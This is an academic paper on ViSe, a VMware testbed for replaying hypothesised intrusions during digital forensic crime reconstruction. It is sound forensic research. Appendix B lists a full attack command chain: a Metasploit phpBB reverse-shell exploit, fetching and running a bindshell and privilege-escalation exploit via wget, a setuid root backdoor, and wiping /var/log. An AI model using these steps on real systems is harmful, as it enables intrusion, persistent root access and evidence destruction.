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Abstract. This paper presents ViSe, a virtual security testbed, and
demonstrates how it can be used to efficiently study computer attacks
and suspect tools as part of a computer crime reconstruction. Based on
a hypothesis of the security incident in question, ViSe is configured with
the appropriate operating systems, services, and exploits. Attacks are
formulated as event chains and replayed on the testbed. The effects of
each event are analyzed in order to support or refute the hypothesis. The
purpose of the approach is to facilitate forensic testing of a digital crime
using minimal resources. Although a reconstruction can neither prove a
hypothesis with absolute certainty, nor exclude the correctness of other
hypotheses, a standardized environment, such as ViSe, combined with
event reconstruction and testing, can lend credibility to an investigation
and can be a great asset in court.

1 Introduction

Digital forensics is gaining importance with the increase of cybercrime and fraud
on the Internet. Tools and methodologies for digital forensics with the sound-
ness necessary for presentation in court are in high demand. In this paper, we
describe the use of the Virtual Security Testbed (ViSe) [1] as a tool in digital
forensic reconstruction. We present a testbed and methodology for testing com-
puter attack tools, as a digital analogy to testing evidence dynamics in physical
forensics. The basic idea is to provide an infrastructure where specific attacks
can be studied in a way similar to testing the ballistics of a firearm in order to
establish its properties. The goal of this approach is to be able to perform test-
ing in a forensically sound manner such that the test results may be presented
in court, supporting or refuting a hypothesis regarding a particular sequence of
events.

The traditional focus in digital forensics has been on identification, acquisi-
tion, and analysis of evidence, using toolkits such as EnCase [2], ILook [3], and



Sleuthkit [4]. These toolkits support operations like the recovery of deleted files,
string searches and searches for known files. Recently, there has been an increas-
ing interest in evidence dynamics and crime scene reconstruction. Crime scene
reconstruction3 is a fairly new development in forensic science, as discussed in [5,
6]. The purpose of the method is to determine the most probable sequence of
events by applying the scientific method to interpret the events that surround
the commission of a crime [6]. The analysis may involve the use of logical [6] and
statistical [7] reasoning.

Carrier and Spafford have proposed an “event-based digital forensic investi-
gation framework” [8] and a method for “event reconstruction of digital crime
scenes” [9]. They propose a process in five steps: evidence examination, role
classification, event construction and testing, event sequencing, and hypothesis
testing. In this paper, we discuss a way to test events in a forensically sound man-
ner using an isolated virtual environment (ViSe). A hypothesis is made based
on available digital evidence and then tested in the ViSe virtual testbed. The
hypothesized attack is replayed, and an analysis of all available data (storage
media and volatile memory of all involved hosts, as well as network traffic) may
support or refute the hypothesis. In this way, we show how replaying events in a
virtual environment can help identify the causes, effects, and internal workings of
simple or multi-step attacks. Using Carrier and Spafford’s model, this approach
may be seen as part of the “event construction and testing”.

Central to the discussion is the trade-off between the desired detail of the
reconstruction and the difficulty of performing the reconstruction itself. The
approach taken in this paper is to study the most significant aspects of a digital
crime or a suspect tool using minimal resources in terms of time and equipment.
Other approaches, such as physical testbeds or simulations, may be more useful
in some cases, as discussed in Section 6.

This paper is organized as follows. Section 2 presents the terminology and
methodology used in this paper, and some related work is discussed in Section 3.
Section 4 provides a detailed description of the security testbed ViSe, as well as
a discussion of the use of virtualization in security and forensic testing. Section 5
provides an example involving a multi-step attack, demonstrating how ViSe can
be applied to digital forensic reconstruction testing. Some considerations of the
approach are discussed in Section 6, and the paper is concluded in Section 7.

2 Terminology and Methodology

The digital crime scene can consist of a number of computing and storage de-
vices, as well as the network connecting them. We specifically consider that the
digital crime scene consists of a number of computer systems, divided into three
categories: namely attack hosts, victim hosts, and third-party hosts. The third-
party hosts may, for instance, include network or security services that perform
logging, or other service providers such as certification authorities. All evidence
is analyzed on analysis hosts, which are not part of the digital crime scene.
3 Note that a crime reenactment is unrelated to a crime scene reconstruction.



Digital evidence is any digital data that contains reliable information that
supports or refutes a hypothesis about an incident. Digital evidence may be
found on the hard drives or in the volatile memory of all the involved hosts,
as well as in captured network traffic, referred to as network dumps. A variant
of the network dump is preprocessed network traffic, such as network intrusion
detection system alert logs. All analysis is assumed to be performed on copies
of the evidence in order to preserve its integrity.

An event e is an occurrence that changes the state of a computing system.
A crime or incident is an event that violates policy or law. An event chain E =
e1, . . . , en is a sequence of events with a causal relationship. The latter definitions
are adopted from [8, 9]. Evidence dynamics is described in [5] to be “any influence
that changes, relocates, obscures, or obliterates physical evidence, regardless of
intent”. A central issue in evidence dynamics is to identify the causes and effects
of events. The evidence dynamics of different digital media varies. A file can
be modified or deleted, and timestamps can be updated. Unallocated data on
a disk can be overwritten, and volatile memory can be overwritten or moved
to pagefiles. Data transmitted on a network may leave traces in log files and
monitoring systems.

Our approach to event construction and testing starts with a hypothesis H0

stating that one or more tools have been run as part of an attack. The corre-
sponding event chain is then replayed on the testbed. Following execution, the
virtual environment is analyzed to find the effects of the events. These effects
are in turn compared to the actual digital evidence. The purpose is to replay the
suspected attacks in a controlled environment in order to study the causes and
effects of the events involved in the attack. This allows us to replay the attack in
a forensically sound manner without compromising the integrity of the original
evidence or relying on files that have been compromised by the attacker.

As noted above, a multi-step attack can be studied as a series of intercon-
nected events, where the effects of an event are the causes of the subsequent
event. Although the digital forensic reconstruction framework separates causes
and effects, differentiating between these may be difficult in practice, as it may
require exhaustive testing. Using the terminology above, we therefore assume
that event ek+1 is the transition between state sk and sk+1. sk and sk+1 contain
the causes and effects of ek+1 respectively.

In some cases, there may be several theories about the chain of events leading
to the digital evidence found in a digital crime scene. In this case, each hypoth-
esis is formulated and tested separately. Based on the competing hypotheses
H0,H1, . . . ,Hm, the tests may share one or more initial events. In this case, the
shared events need only be replayed once.

The methodology for testing in forensic reconstruction used in this paper can
be expressed as a five step process:

1. Configure testbed with appropriate software according to a hypothesis.
2. Replay attack according to the hypothesis and save snapshots for each state.
3. Acquire and verify images of all snapshots.
4. Perform analysis through the comparison of states.



5. Compare images to digital evidence to support or refute the hypothesis.

The process can be reiterated for alternative hypotheses.

3 Related Work

Formal frameworks for the reconstruction of digital crime scenes are discussed
by Stephenson [10] and Gladyshev and Patel [11]. Stephenson uses a Petri Net
approach to model worm attacks in order to identify the root cause of an at-
tack. Gladyshev and Patel present a state machine approach to model digital
events. Their approach uses a generic event reconstruction algorithm and a for-
mal methodology for reconstructing events in digital systems. In contrast, our
approach sets up a virtual digital crime scene in order to replay the digital
events in a realistic fashion. Therefore, our approach is complimentary to those
of Stephenson, Gladyshev, and Patel.

Virtualization is frequently used in security research, primarily because of the
flexibility and the small resource requirements. As an example, [12] discusses the
use of VMware and the forensic tool SMART for recreating a suspect’s computer.
Our approach takes this idea further by emulating the entire digital crime scene
as part of a digital event reconstruction. Virtualization is also frequently used by
the the honeypot community. Low-interaction honeypots, such as Honeyd [13],
often have built-in virtualization of services, whereas high-interaction honeypots,
such as honeynets [14], are often deployed using full operating system virtual-
ization. See also [15] for a discussion of the advantages and disadvantages of
VMware in the context of honeypots.

Recent security testbeds include LARIAT [16], LLSIM [17], Netbed [18], De-
ter [19], and vGrounds [20]. LARIAT is the first simulated platform for testing
intrusion detections systems, and LLSIM is its virtualized descendant. Netbed
is a simulation environment that served as the predecessor to Deter, a clus-
ter testbed. vGrounds is a virtual environment based on UML (User Mode
Linux) [21]. These testbeds provide large-scale simulation at the cost of the ac-
curacy and the number of operating systems and services supported. Section 6.3
discusses cases where this approach may be useful. ViSe supports more exact
system and network interaction on a wider range of operating systems. ViSe
images are provided in a large library of pre-configured attacks and vulnerable
services on common operating systems. ViSe also includes an IDS system to
identify the manifestations of an attack.

4 Virtualization and the ViSe Testbed

In this section, we review the criteria for a forensic testbed and discuss the
advantages of virtualization in digital forensic testing. We give an overview of
VMware and the ViSe4 [1] testbed and consider integrity issues using ViSe as a

4 http://www.cs.ucsb.edu/∼rsg/ViSe/



virtualization platform. We also discuss the digital forensic image created to aid
the digital forensic testing. The use of ViSe is further demonstrated through a
specific example in Section 5.

4.1 Virtualization

The main criteria for choosing a testbed are resource demands, availability and
usability, flexibility and efficiency, forensic soundness, and similarity to the dig-
ital crime scene [22]. While physical testbeds can most accurately represent a
digital crime scene, there is significant overhead required for the setup, config-
uration, and re-installation of the involved systems. Each hypothesis requires a
separate machine, and different hardware must be obtained to provide complete
coverage of the systems involved in an attack. Furthermore, the impractical-
ity of restoring a system to a previous state to test an alternative but similar
hypothesis is obvious.

Fig. 1. Illustration of a Virtual Environment.

Virtualization addresses these problems with negligible overhead. A single
computer can represent the entire digital crime scene, emulating different oper-
ating systems, configurations, and services as necessary. For example, Figure 1
represents a single physical Fedora Core 4 machine using VMware to emulate
a virtual network and three virtual operating systems running Fedora Core 3.
Virtualization environments are also more portable and reusable. They can be
shared between multiple hosts, and once a configuration is made, it can be re-
stored later in an investigation or reused in other investigations.

VMware 5.0 [23] was chosen as the emulation environment for ViSe [1], be-
cause it contains several advantages over other emulation environments such as



Xen [24], Microsoft Virtual PC [25], and UML [21]. VMware is able to emulate
both Linux and Windows platforms, as well as any other x86 operating system.
Xen and UML are limited to selected ports or currently available operating sys-
tems. Neither Xen nor UML could emulate Windows platforms at the time of
ViSe’s creation. VMware and Microsoft Virtual PC are similar in scope and ap-
plication. However, Virtual PC runs on Windows and Apple Macintosh systems,
while VMware runs on Windows and Linux systems. VMware was chosen over
Virtual PC because development in Linux provided the most ideal environment
for developing and testing malicious attacks.

4.2 The ViSe Testbed

The ViSe testbed was developed at UCSB to test attacks on various vulnera-
ble operating systems and to test intrusion detection systems. ViSe originally
contained 10 operating systems and a total of 40 exploits against the programs
running on them. The operating systems included are Windows 2000, 2003, XP,
Red Hat 6.2, 7.2, SuSE 9.2, Debian 3.0, Fedora Core 3, FreeBSD 4.5, and 5.4. The
exploits, as detailed in Table 1-4 of [1], are both local and remote attacks. ViSe
was recently extended with an additional 30 remote attacks from the OWASP’s
top ten web application vulnerabilities framework [26], targeting 10 web appli-
cations running on both Windows and Linux platforms.

One reason for choosing VMware to implement ViSe is that the snapshot
and cloning features of VMware allow new images to be derived from old ones.
When using the snapshot feature, new snapshots are created incrementally, i.e.,
only changes are stored in the new snapshot file. The current ViSe tree requires
80 GB for 70 separate system configurations derived from the 10 base operating
system images. This is achieved by using the snapshot feature to create new
configurations of a system, which, in turn, provides a tremendous space savings
as compared to requiring a full install for each configuration.

The snapshot feature allows for the creation of a tree of successive changes
derived from a base system. Each tree represents a host involved in an attack,
such as attacker, victim, and IDS systems. New ViSe images are added to a tree
by making a snapshot with the desired modifications based on a previous snap-
shot or root image. Multiple systems derived from the same tree can, however,
not be run simultaneously. For this purpose, it is necessary to use the full cloning
feature in VMware to create a full image, using the space requirements of both
the new files and the old configuration. The advantage of the cloning feature is
that cloned images can be run and distributed independently of the ViSe tree,
allowing the image and events in that image to be replicated by relevant parties.

When an attack is replayed, the attacker, detector, and vulnerable images are
booted, and the attack is run as prescribed in its accompanying documentation.
If the attack damages the configuration of a particular image, that image only
needs to be restored and rebooted to recover from the damage. Also, snapshots of
the images can be created and then restored, providing instantaneous recovery.
This method results in both a significant time decrease and a decrease in storage
requirements compared to using physical systems to replay an attack.



4.3 Integrity Issues

There are a number of integrity issues to be considered related to using VMware
as the virtualization platform for ViSe. The first issue concerns data contami-
nation between the host and guest operating systems. We have not been able
to demonstrate such an issue on a Fedora Core 3 system, but as a precaution-
ary measure, images should be isolated from each other by cloning each image
on a separate sanitized partition. Each new cloned image becomes a new ViSe
image root, which is used to create new snapshots over empty memory. This
approach guarantees that there is no data contamination between the host and
the guest operating systems nor between the different guest systems. Note that
ViSe was initially designed to be simple with minimal space requirements, and
the integrity of the images was not a primary consideration. As a result, the first
ViSe images were created on un-sanitized host partitions.

It should be noted that VMware image files are proprietary, and thus they
are not identical copies of system disks or partitions. In this paper, we are only
concerned with the file systems contained in the VMware image files, and not
with the VMware-files themselves. We perform the testing in VMware, and the
forensic acquisition in preparation for analysis is either performed in VMware or
by using the vmware-mount.pl tool for mounting VMware images. The integrity
of the disk images can be verified using one-way hash functions such as MD5,
SHA-1 or SHA256, which provide the necessary integrity for our purposes5.

Another integrity issue that should be considered is the virtual network used
to connect the images. VMware allows several different types of network con-
nectivity options: bridged to a physical device, a NAT to the host’s IP address,
virtual image to host-only, and custom [23]. Only bridged networking connects
the virtual network to the physical network. This allows transparent connections
between virtual and physical hosts. As the extent of all attacks was known and
documented during the creation of ViSe, images were created using static IP
addresses in the subnet of their host system. In general, however, the testbed
host operating system should be disconnected from any external networks. If
the guest operating system is able to reach external networks, the test may be
compromised, and malicious code could spread from the testbed.

The third integrity issue is the “shared folders” feature of VMware. This
feature is used to allow file transfers between the host and guest systems [23].
During ViSe’s construction, it was enabled to simplify the transfer of files and
data. During forensic reconstruction, it should be disabled to prevent cross-
contamination between the host and guest system. During analysis, it can be
re-enabled to facilitate external analysis and to review the results outside of
ViSe (see Section 4.4).

The last integrity issue involves the similarity of attacks in the virtual testbed
to physical machines. Sophisticated attacks could detect and respond to the pres-
ence of VMware and other forensic tools [29], for example by breaking out of
VMware and accessing the host system [30]. Similar to this are anti-forensic

5 Recent research has uncovered weaknesses in MD5 and SHA-1 [27, 28].



attacks, which purposely attempt to thwart forensic investigations [31], for ex-
ample by generating excess or confusing signatures in order to make event re-
construction difficult. Attacks such as these are uncommon and require special
consideration. They are not considered in this paper.

4.4 The Virtual Forensic Analysis Image

In order to be able to handle the test images in a forensically sound manner,
a forensic analysis system has been added to ViSe. The main purpose of this
system is to acquire copies of hard drive images from the test systems (using
dcfldd6), as well as to provide a verification of the integrity of the copies (using
tools such as md5sum and sha256sum).

The forensic analysis system is built on Fedora Core 3, and it is installed as
a new root in the ViSe tree to avoid any conflicts with the test images. Such a
conflict could, for example, occur if the LVM (Logical Volume Manager) is used.
LVM requires that the id of the underlying physical volumes be unique when the
volumes are mounted. Unfortunately, VMware’s cloning and snapshot features
retain the LVM id of the root image. Thus, if the forensic analysis image was
added to a ViSe tree, it could not mount any other images of that same tree,
because the LVM id would already be present.

In order to avoid contamination between the external network and the foren-
sic analysis system, the virtual forensic analysis system is configured without a
virtual network interface. As an additional precaution, the host operating system
can be physically disconnected from the network during the analysis.

A virtual disk can be analyzed in VMware by adding it as a disk to the
forensic analysis system. This disk should be provided as an independent and
non-persistent disk, in order to prevent any changes to the image. VMware re-
quires write access to its virtual disk images. Therefore, to assure that the file
systems of those images are not changed, the forensic analyst has to mount them
in read-only mode.

It must be noted that it is not possible in VMware to take a snapshot of a
system with an independent disk, mount an independent disk in a snapshot, or
mount several instances of different snapshots based on the same base image.
The image acquisition either has to be performed sequentially (by rebooting the
virtual analysis host for each disk image to be analyzed) or by creating a full
disk clone for each snapshot. By using the latter method, several disks can be
mounted at once.

The images to be analyzed are copied to a “shared folder” directory using
dcfldd. After all the images have been acquired, the forensic analysis can be
performed outside ViSe. The primary reason for this is that there is a significant
performance penalty in performing the analysis in a virtual environment (see
Section 6.3). In this way, the results are also available for external analysis and
review.
6 dcfldd is a forensic version of the GNU tool dd, commonly used for copying disks

and partitions.



5 Example – a Multi-step Attack

In this section we demonstrate the use of the ViSe testbed for testing a multi-
step attack. The attacks are chosen from the database of attacks available in the
ViSe testbed. As part of a criminal investigation, it is necessary to determine the
chain of events in a forensically sound manner. Based on the available evidence
in the digital crime scene, a digital forensic reconstruction is initiated and an
initial hypothesis is stated:

An attack host running Fedora Core 3 has launched and completed a multi-
step attack against the victim host running Fedora Core 3. The multi-step attack
consists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulner-
ability, an installation of bindshell on port 12497 named httpd, an exploit of a
vulnerable iwconfig buffer overflow vulnerability, the creation of a non-root user
and root backdoor, and finally the removal of traces.

In order to support or refute this hypothesis, we wish to perform an isolated
test of the multi-step attack. Virtual systems similar to the ones in the hypothesis
are set up in ViSe, and the multi-step attack is replayed as described below.
When the test is finished, the analyst can compare the effects of the attack
in the virtual environment to the digital evidence in the digital crime scene.
If the identified effects do not support the hypothesis, the hypothesis should
be reformulated, and the necessary test events should be replayed. It may be
necessary to include events that are not directly related to the attack in the
test, such as intentional evidence manipulation (such as file modifications or
deletions ) and regular user or system activities (such as rebooting and disk
defragmentation).

Note that the analyst does not need access to all the hosts involved in the
digital crime scene. The results of the test can be compared to any available evi-
dence. However, the certainty of the results is reduced when the digital evidence
is incomplete.

5.1 Configuring ViSe for Replaying the Attack

To replay the attack, images are derived from snapshots in the ViSe library to
represent the attack host, a detector host, and a vulnerable host. Each image
is an installation of Fedora Core 3 with system configuration and files specific
to its purpose. The attacker represents the single host conducting all the stages
of the attack, including network scanning and vulnerability exploitation. The
detector image is running a Snort 2.4.3 IDS system. The vulnerable image snap-
shot is created by adding a local system buffer overflow vulnerability (iwconfig)
to a predefined snapshot containing a remote, web-based vulnerability (phpBB
2.1.10). Both vulnerabilities are available in the ViSe library. Each snapshot is
then created into a full-clone on a separate, zeroed-out partition, as discussed in
Section 4.3. Figure 2 shows the resulting forensic testbed.



Fig. 2. ViSe image tree for example attack.

5.2 Replaying the Attack

The hypothesized event chain representing the attack is divided into a number of
discrete events, each leading to a new state. Each event leads to a state snapshot
that can be examined independently in order to determine the sequence of events
leading to the final image. The effects of an event are identified by finding the
differences between two successive states. The attack is replayed as follows (the
details of the attack are provided in Appendix B):

– Event 1: Network scan, port scan, and manual web-browsing by attacker.
The attacker uses nmap to determine the vulnerable host’s address and the
open ports on the victim. The attacker then uses the ELinks web-browser
to visit the web-page /phpBB2/ on the victim.

– Event 2: The attacker exploits the phpBB 2.0.10 viewtopic.php arbitrary
code execution vulnerability[32]. He gains a remote shell on the victim host
with username apache.

– Event 3: The attacker retrieves a bindshell using wget and executes it in
/tmp. The name of the bindshell is httpd, named to appear identical to the
default process run by apache. He then disconnects from his current remote
shell and connects to the listening port of the bindshell at port 12497.

– Event 4: The attacker searches for setuid programs using find and discovers
a vulnerable version of iwconfig[33]. He retrieves an exploit using wget and
executes it, becoming root.

– Event 5: The attacker creates a non-root user bash and uses wget to retrieve
a backdoor named ], which he places in /usr/bin. He then disconnects from
the bindshell.



– Event 6: The attacker logs in as the newly created user bash using ssh and
becomes root using the backdoor. The attacker then kills his old bindshell,
and removes all traces in /tmp and /var/log.

Note that there is a trade-off between the granularity of a reconstruction and
the number of events. At the highest-level of detail, every system call can be
viewed as an event. At the other extreme, an entire attack can be viewed as a
single event.

5.3 Attack Analysis and Verification

When the attack is replayed, the different stages are represented by six states,
as shown in Figure 3. Each state consists of a snapshot for each host, and one
state is reached from the previous state by an event. Images of all the snapshots
are acquired in the ViSe forensic system using the tool dcfldd. The analysis is
performed on a non-virtual host outside ViSe, as discussed in Section 4.4.

Fig. 3. State diagram for multi-step attack.

The attack is analyzed by comparing the states of the attack sequentially.
Every change between two states sk and sk+1 is considered an effect of the
corresponding event ek+1. If the effect is superseded by a later event, for instance
through a file modification or file deletion, only the latter effect is considered.

In this example, we present the results of the analysis in the tables, where each
row indicates the host, the type of evidence, the name of the evidence identifier,
and what action has affected the evidence. We do not claim completeness of the
analysis results – the tables are intended to demonstrate the use of ViSe and the
reconstruction methodology. For the purpose of this example, we only consider
evidence found in the file systems and log files of the victim host, as well as in
the network monitoring and intrusion detection system.

Table 1 shows the effects of the portscan on the victim system, as well as
on the network IDS. We see that the activity has been logged in the system
files, and the Snort IDS classifies the activity as a “portscan”. In table 2 we see
further logging on the victim system and IDS alerts indicating a PHP attack
using HTTP.

The remaining tables are provided in Appendix A. Table A-1 indicates that a
command has been run as root on the victim system and that a new file has been
generated. There is some logging activity, but no IDS alerts have been triggered.
Table A-2 shows the creation of two new files, as well as another IDS outbound
alert. In table A-3 the user database is updated, and a new home directory



Host Type Name Action

V F /var/log/messages M

V F /var/log/httpd/access log M

V F /var/log/secure M

V F /var/lib/mysql/mysql/phpbb sessions.MYI M

V F /var/lib/mysql/mysql/phpbb sessions.MYD M

V F /etc/cups/certs/0 M

T F /var/log/snort/snort.log.* C

T I (portscan) TCP Portsweep: Attacker C

T I (portscan) TCP Portscan: Attacker to Victim C

T N GET /phpBB2/ HTTP/1.1: Attacker to Victim:80 C

Table 1. Effects of Event 1. The following notation is used: A=attack host, V=victim
host, T=third-party host, F=file, N=network, I=Snort IDS log, C=create, M=modify,
D=delete

is created with the user-name bash. There are no IDS alerts, but the network
traffic indicates that a file has been downloaded. Finally, in table A-4 several files
created during the attack are deleted, and we see that an SSH connection has
been established. Based on these results, a comparison between the tables and
the digital evidence can be performed. Each table entry that is not superseded
by a later event can be compared to the digital evidence in order to support
or refute the attack hypothesis. Note that there may be several reasons why
there is no match. The evidence of an attack may have been changed, deleted,
or overwritten, depending on the evidence dynamics of the evidence in question.
It may be necessary to formulate an alternative hypothesis or add new events in
order to explain such discrepancies.

5.4 Alternative Hypothesis Formulation

Assume that we do not find support for the hypothesis in the original evidence.
For instance, assume that the effects of Event 4 (the iwconfig buffer overflow)
do not match the original evidence. In this case, we develop an alternate hy-
pothesis and replay the attack from the last common state. We revert to the
State 3 snapshot and create a new state diagram, represented by Figure 4. Our
alternative hypothesis can be stated as follows:

An attack host running Fedora Core 3 has launched and completed a multi-
step attack against the victim host running Fedora Core 3. The multi-step attack
consists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulner-
ability, an installation of bindshell on port 12497 named httpd, an exploit of a
cdrecord environment variable privilege escalation vulnerability[34], the creation
of a non-root user and root backdoor, and finally the removal of traces.



Host Type Name Action

V F /var/log/httpd/error log M

V F /var/log/httpd/access log M

V F /var/log/secure M

V F /var/lib/mysql/mysql/phpbb sessions.MYI M

V F /var/lib/mysql/mysql/phpbb sessions.MYD M

V F /var/lib/mysql/mysql/phpbb topics.MYI M

V F /var/lib/mysql/mysql/phpbb topics.MYD M

V F /etc/cups/certs/0 M

T I WEB-PHP viewtopic.php access: Attacker to Victim:80 C

T I (http inspect) DOUBLE DECODING ATTACK: Attacker to Vic-
tim:80

C

T N TCP Connection Established: Attacker to Victim:4321 C

T I ATTACK-RESPONSES id check returned userid: Victim:4321 to
Attacker

C

Table 2. Effects of Event 2.

Fig. 4. Alternative Hypothesis for a multi-step attack.

The advantage of ViSe becomes apparent when we consider the similarities
of our previous hypothesis to the alternative one proposed above. By running
the new attack from the snapshot of State 3, we create the new states 4a, 5a,
and 6a, which we can compare to the original evidence to determine similarity.

6 Discussion

In this section, we discuss some aspects related to the use of ViSe and VMware
as part of a digital forensic reconstruction. Central to the discussion is the trade-
off between the detail of reconstruction and the difficulty of performing a recon-
struction. We discuss what type of attacks ViSe is suitable for and give examples
of some cases where other approaches might be more suitable. In addition, we
consider some performance issues related to using ViSe for event reconstruction.



6.1 Presenting a Real Case in Court

The proposed approach is intended to be a part of a digital investigation. The
approach does not substitute conventional digital forensics, but supplements the
forensic investigation by providing a methodology to find additional support for
hypotheses about a digital crime scene. In court, the results of a digital forensic
reconstruction can be used to provide additional support or to refute a particular
chain of events. An investigator will present the proofs acquired from the digital
crime scene and present these in court. The results of the reconstruction are then
used to support an interpretation of the evidence.

In a real case, it is essential to place the reconstruction in the context of
the crime and present a thorough explanation of the assumptions made in the
reconstruction. The initial state of the reconstruction, as hypothesized in H0,
can only be an approximation of the digital crime scene, and a good courtroom
defense lawyer will exploit any unexplained discrepancies. Furthermore, a re-
construction must take into consideration malware and anti-forensic tools and
explain what consequences such tools can have on the digital evidence and on
the reconstruction itself.

6.2 Timing and Complexity Issues

We have demonstrated how ViSe can be used as part of a reconstruction of a
multi-step attack involving an attacker host, a victim host, and a third party
host. There are, however, cases where ViSe and the event-based reconstruction
approach is less suitable.

Some computer attacks exploit timing issues such as race conditions and may
be difficult or impossible to recreate in a virtual environment. Also, distributed
events are not necessarily synchronized, and the order of events may be non-
deterministic. In the worst case, a reconstruction may be impossible because
of such timing issues, or the reconstruction may have to be run on a physical
testbed.

Another class of attacks that can be difficult to replay in a virtual testbed is
attacks that depend on specific network conditions or involve a high number of
hosts. An example of such an attack is a DDoS (Distributed Denial-of-Service)
attack, where thousands of hosts may be involved in the attack of one or more
victim hosts. Worm infection is another example that involves a high number
of hosts, acting both as victims and attackers. In such cases, it may be more
fruitful to study the attack through models or simulations, as was done in [10].

6.3 Performance Issues

As discussed in Section 4, the main performance advantage of using ViSe is that
snapshots of different system states are efficiently saved and restored. ViSe also
provides a library of reusable snapshots with different operating systems, vul-
nerabilities, and exploits. This significantly reduces the time for setting up a
virtual environment for reconstruction, and it facilitates the reuse of snapshots



for testing multiple hypotheses. Different variations of an attack can be ana-
lyzed as a tree with different branches of analysis. All of the states in the tree
are stored and can consequently be restored in reconstructions related to other
investigations. In this way, the focus of the testing is moved from setting up and
configuring a testbed to the actual digital forensic analysis.

Because the snapshots are stored as VMware images, we have proposed that
the acquisition and verification of disk images be performed on a forensic system
provided by ViSe. As discussed below, there is a performance penalty for doing
these operations in a virtual environment. The tasks of copying the image and
verifying the image hash are easily automated and need only be performed once
for each image. Therefore, we suggest performing them in the virtual environ-
ment.

Pentium 4 VMware

Boot time 1m9s 2m

Reboot time 1m22ss 2m20s

Take snapshot NA 8s

Restore state NA 9s

Clone full image (7.6GB) NA 8m6s

Copy partition image (dcfldd) 11m21s 48m46s

Hash all files in image (sha256deep) 3m56s 26m38s

Extract all strings from image (strings) 6m57s 118m47s

Table 3. Performance comparisons.

We have compiled a list of some performance measurements for Fedora Core
3 in Table 3. The measurements are performed on a 10GB disk image containing
an ext3 partition, using the time measurement tool where applicable. The boot
and reboot measurements were performed without a graphical user interface. We
can see from the table that there is a relatively high performance penalty related
to some common digital forensic operations, such as string extraction. Therefore,
we recommended that the ViSe testbed is only used for image acquisition and
verification, as well as for the actual replay of the attack. The forensic analysis,
i.e., comparing the different states related to an attack, should be done on an
external system. The performance benefits of using ViSe are in the replay of the
attack, not in the analysis of the results.

7 Conclusions

We have shown how ViSe provides an environment for efficient event recon-
struction and testing through reusable snapshots representing different states
of an attack. ViSe provides a framework with a library of operating systems,
vulnerable services, and exploits, providing a controlled and efficient testbed for



digital forensic testing. The attack is replayed in the virtualization testbed and
analyzed with respect to an initial hypothesis. As ViSe’s library of operating
systems, services, and exploits grows, the time to construct a virtual environ-
ment corresponding to a digital crime scene decreases. Therefore, the focus of
the event reconstruction testing is moved from setting up and running an attack
to the analysis of its effects. Although VMware supports a wide range of operat-
ing systems, there is no support for emulation of embedded systems such as cell
phones and PDAs. An extension of ViSe to include digital event reconstruction
on embedded systems is an open research topic.

In court, a reconstruction will be subject to thorough questioning. It is es-
sential to convince a court that the testing is forensically sound and that it is
relevant to the original digital crime scene. Although a reconstruction can neither
prove a hypothesis with absolute certainty, nor exclude the correctness of other
hypotheses, a standardized environment, such as ViSe, combined with event re-
construction and testing, can lend credibility to an investigation and can be a
great asset in court. Further work on understanding the effects of anti-forensic
tools on a reconstruction will add further value to the approach.
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A Analysis Results

This appendix contains the analysis results corresponding to each of the events.
Each row includes the host, the type of evidence, the name of the evidence
identifier, and what action has affected the evidence.

Host Type Name Action

V F /root/.bash history M

V F /tmp/httpd C

V F /var/log/wtmp M

V F /var/log/lastlog M

V F /var/log/messages M

V F /var/log/httpd/error log M

V F /var/run/utmp M

V F /etc/cups/certs/0 M

T N File httpd Downloaded: Victim to Attacker:80 C

T N TCP Connection Terminated: Attacker to Victim:4321 C

T N TCP Connection Established: Attacker to Victim:12497 C

Table A-1. Effects of Event 3. The following notation is used: A=attack host,
V=victim host, T=third-party host, F=file, N=network, I=Snort IDS log, C=create,
M=modify, D=delete

Host Type Name Action

V F /tmp/iwconfig C

V F /tmp/progs C

V F /etc/cups/certs/0 M

T N File iwconfig Downloaded: Attacker:80 to Victim C

T I ATTACK-RESPONSES id check returned root: Victim:12497 to
Attacker

C

Table A-2. Effects of Event 4.



Host Type Name Action

V F /etc/shadow- M

V F /etc/gshadow- M

V F /etc/gshadow M

V F /etc/group M

V F /etc/group- M

V F /etc/shadow M

V F /etc/passwd M

V F /var/log/messages M

V F /var/log/secure M

V F /usr/bin/] C

V F /home/bash/.* C

T N File ] Downloaded: Attacker:80 to Victim C

T N TCP Connection Terminated: Attacker to Victim:12497 C

Table A-3. Effects of Event 5.

Host Type Name Action

V F /tmp/* D

V F /var/log/* D

V F /var/run/utmp M

V F /etc/cups/certs/0 M

T N SSH Connection Established: Attacker to Victim:22 C

Table A-4. Effects of Event 6.



B Attack Details

This appendix contains the specific commands used in the multi-step attack. The
ViSe IP addresses are 128.111.48.125 (detector), 128.111.48.131 (attack host),
and 128.111.48.118 (vulnerable host).

#Event 1: Network, ping and webserver scan

nmap -sP 128.111.48.1-255 > ping ; cat ping

nmap 128.111.48.118 > 118 ; cat 118

links 128.111.48.118/phpBB2/

#Event 2 : Run vulnerable phpBB attack using Metasploit

./msfconsole

>show exploits

>use phpbb_highlight

>show

>show targets

>set TARGET 0

>show payloads

>set PAYLOAD cmd_unix_reverse

>show options

>set RHOST 128.111.48.118

>set PHPBB_ROOT /phpBB2

>set LHOST 128.111.48.131

>check

>exploit

#Event 3: Run vulnerable phpBB attack

id

cd /tmp; wget 128.111.48.131/httpd

chmod 700 ./httpd

./httpd

quit

#Event 4: Connect to bindshell and exploit iwconfig

nc 128.111.48.118 12497 -vv

find / -user root -perm -4000 -print 2> /dev/null >progs

cat progs

/sbin/iwconfig -v

wget 128.111.48.131/iwconfig

chmod 700 iwconfig; /iwconfig

whoami

#Event 5: Create a user bash and install a setuid backdoor

/usr/sbin/adduser bash

passwd bash

wget 128.111.48.131/]

chmod 4755 ] ; mv ] /usr/bin

#Event 6: Clear logs and backdoor tracks

ssh bash@128.111.48.118

/usr/bin/]

ps -ef | grep apache

kill <pid> #kill backdoors pids

rm -rf /tmp/*; rm -rf /var/log/*


